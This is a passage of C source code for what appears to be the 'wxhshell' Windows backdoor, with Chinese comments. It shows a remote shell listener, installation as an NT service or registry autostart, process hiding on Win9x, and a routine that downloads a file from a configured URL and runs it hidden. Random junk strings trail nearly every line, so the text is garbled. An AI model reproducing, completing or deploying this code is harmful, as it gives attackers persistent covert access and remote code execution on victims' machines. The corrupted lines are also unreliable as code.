} PROCESS_BASIC_INFORMATION; Jt43+]
HB\<nK
PROCNTQSIP NtQueryInformationProcess; (^ZC8)0i(
aAh")B2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c|X.&<lX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MlkTrKdGi
AA;\7;k{
HANDLE hProcess; eG72=l)Mz
PROCESS_BASIC_INFORMATION pbi; yeFt0\=H
$u|p(E:*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9IIQon
if(NULL == hInst ) return 0; +M$2:[xRT
]7^OTrZ N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %0YwaxXPn7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {# ;e{v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
e-sMU
36,qh.LKn
if (!NtQueryInformationProcess) return 0; (~?P7RnU%
@`G_6<.`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -PbGNF
if(!hProcess) return 0; >:4}OylhM
tQ< ou,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T)6p,l
,@tYD(Z
CloseHandle(hProcess); 3v
:PBmE
AFGWlC#`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S)Sv4Qm
if(hProcess==NULL) return 0; .t.H(Q9
!lG5BOJM
HMODULE hMod; 3o9`Ko0
char procName[255]; E)H:
L-
unsigned long cbNeeded; =>-:o:Cu{
j+\I4oFN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?w`uv9NUJ8
\`;FL\1+W
CloseHandle(hProcess); Tm-Nz7U^^
<_=a1x
if(strstr(procName,"services")) return 1; // 以服务启动 U 3aY =8B
@\e2Q&O
return 0; // 注册表启动 d&&^_0O
} 4ZrX=e,
hC4##pAa
// 主模块 rbS67--]
int StartWxhshell(LPSTR lpCmdLine) (s4w0z
{ %*>=L$A
SOCKET wsl; !e*Q2H+
BOOL val=TRUE; Pni
int port=0; dX-{75o5P
struct sockaddr_in door; {1li3K&0s
><}FyK4C
if(wscfg.ws_autoins) Install(); &?f{.
&%+}bt5
port=atoi(lpCmdLine); T~J6(,"
R(@B4M2
if(port<=0) port=wscfg.ws_port; ,-myR1}
m{9m.~d
WSADATA data; \< <u
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1q0DOf]!T
RJYuyB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6T! *YrS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Vas`/~u~
door.sin_family = AF_INET; `*mctjSN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jq
yqOhb4
door.sin_port = htons(port); *kY\,r&!P
AP'UcA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v] &
)+0
closesocket(wsl); XrS. [
return 1; -^]8wQU
} Ch%W
C,
57k@]3
4
if(listen(wsl,2) == INVALID_SOCKET) { 5+].$
closesocket(wsl); S9S8T+
return 1; .0k ltnB
} tsVQXvo
Wxhshell(wsl); /k qW
WSACleanup(); OJPxV~y
}-?_c#G3
return 0; t}>6"^}U
*%5.{J!
} x9k(mn%,
_p <W
// 以NT服务方式启动 Fi vgOa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6d& dB
{ 3`uv/O2~i
DWORD status = 0; secD
`]
DWORD specificError = 0xfffffff; _TfG-Ae
|=L~>G
serviceStatus.dwServiceType = SERVICE_WIN32; o%XAw
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kW0|\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DP ,owk
serviceStatus.dwWin32ExitCode = 0; c ]M!4.
serviceStatus.dwServiceSpecificExitCode = 0; ?$i`K|
serviceStatus.dwCheckPoint = 0; f4YcZyBGv
serviceStatus.dwWaitHint = 0; va F^[/
(g
rCU f,)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0$NcxbM
if (hServiceStatusHandle==0) return; S
L<P`H|
Vp{! Ft8>
status = GetLastError(); A:PQIcR;V
if (status!=NO_ERROR) Wd#r-&!6j
{ /tR@J8pV
serviceStatus.dwCurrentState = SERVICE_STOPPED; "| cNY_$&s
serviceStatus.dwCheckPoint = 0; d
4w+5H"u
serviceStatus.dwWaitHint = 0; CB_ww=
serviceStatus.dwWin32ExitCode = status; J}U); A
serviceStatus.dwServiceSpecificExitCode = specificError; ;#$ 67G$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H&\[iZ|-N
return; d.Wq@(ZoA
} \H|tc#::{
-x)Oo`
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0NrUB
serviceStatus.dwCheckPoint = 0; .RFijr
serviceStatus.dwWaitHint = 0; Gx/sJ(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _^K)>
} IaMZPl
XgL-t~_
// 处理NT服务事件,比如:启动、停止 jkCa2!WQ'i
VOID WINAPI NTServiceHandler(DWORD fdwControl) C^9G \s'
{ c-3-,pyM_T
switch(fdwControl) Ks'msSMC
{ reseu*5
case SERVICE_CONTROL_STOP: dz@L}b*
serviceStatus.dwWin32ExitCode = 0; QY2/mtI
serviceStatus.dwCurrentState = SERVICE_STOPPED; "#,]`ME;
serviceStatus.dwCheckPoint = 0; YHBH9E/B
serviceStatus.dwWaitHint = 0; lZ]x #v
{ tQ0iie1Ys
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?.Mw
} ERD( qL.J
return; f$#--*
case SERVICE_CONTROL_PAUSE: gS{hfDpk,h
serviceStatus.dwCurrentState = SERVICE_PAUSED; %N+8K
break; _RI`I}&9Z
case SERVICE_CONTROL_CONTINUE: *+|D8xp
serviceStatus.dwCurrentState = SERVICE_RUNNING; mU0j K@^&M
break; qQK0s*^W
case SERVICE_CONTROL_INTERROGATE: =nPIGI72VO
break; -OV:y],-
}; IIrh|>d_7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \yt-_W=[
} Sl,X*[HGd
Mj&`Y
gW5a
// 标准应用程序主函数 D>Ij
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d&[Ct0!++u
{ ~*"]XE?M
;#-yyU
// 获取操作系统版本 dxHKXw
OsIsNt=GetOsVer(); 3j<:g%5
GetModuleFileName(NULL,ExeFile,MAX_PATH); {l/j?1Dxq
ab"6]%_
// 从命令行安装
u@QP<[f
if(strpbrk(lpCmdLine,"iI")) Install(); ,liFo.kT8%
w_zUA'n+
// 下载执行文件 X*ZTn
7<
if(wscfg.ws_downexe) { '"u>;Bq
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 KDF*%7'
WinExec(wscfg.ws_filenam,SW_HIDE); 'dJ#NT25
} {Yq"%n'0
EJC{!06L'/
if(!OsIsNt) { )}ygzKEa
// 如果时win9x,隐藏进程并且设置为注册表启动 }U <T>0
HideProc(); udw>{3>
StartWxhshell(lpCmdLine); :
L}Fm2^
} `| nC r
else f3 _-{<FZ
if(StartFromService()) [I6(;lq2
// 以服务方式启动 ~)J]`el,Q
StartServiceCtrlDispatcher(DispatchTable); R(YhVW_l
else Kf=6l#J7
// 普通方式启动 ^n! j"
StartWxhshell(lpCmdLine); R`M>w MLH
&n6'r^[D
return 0; i;:gBNmo=
}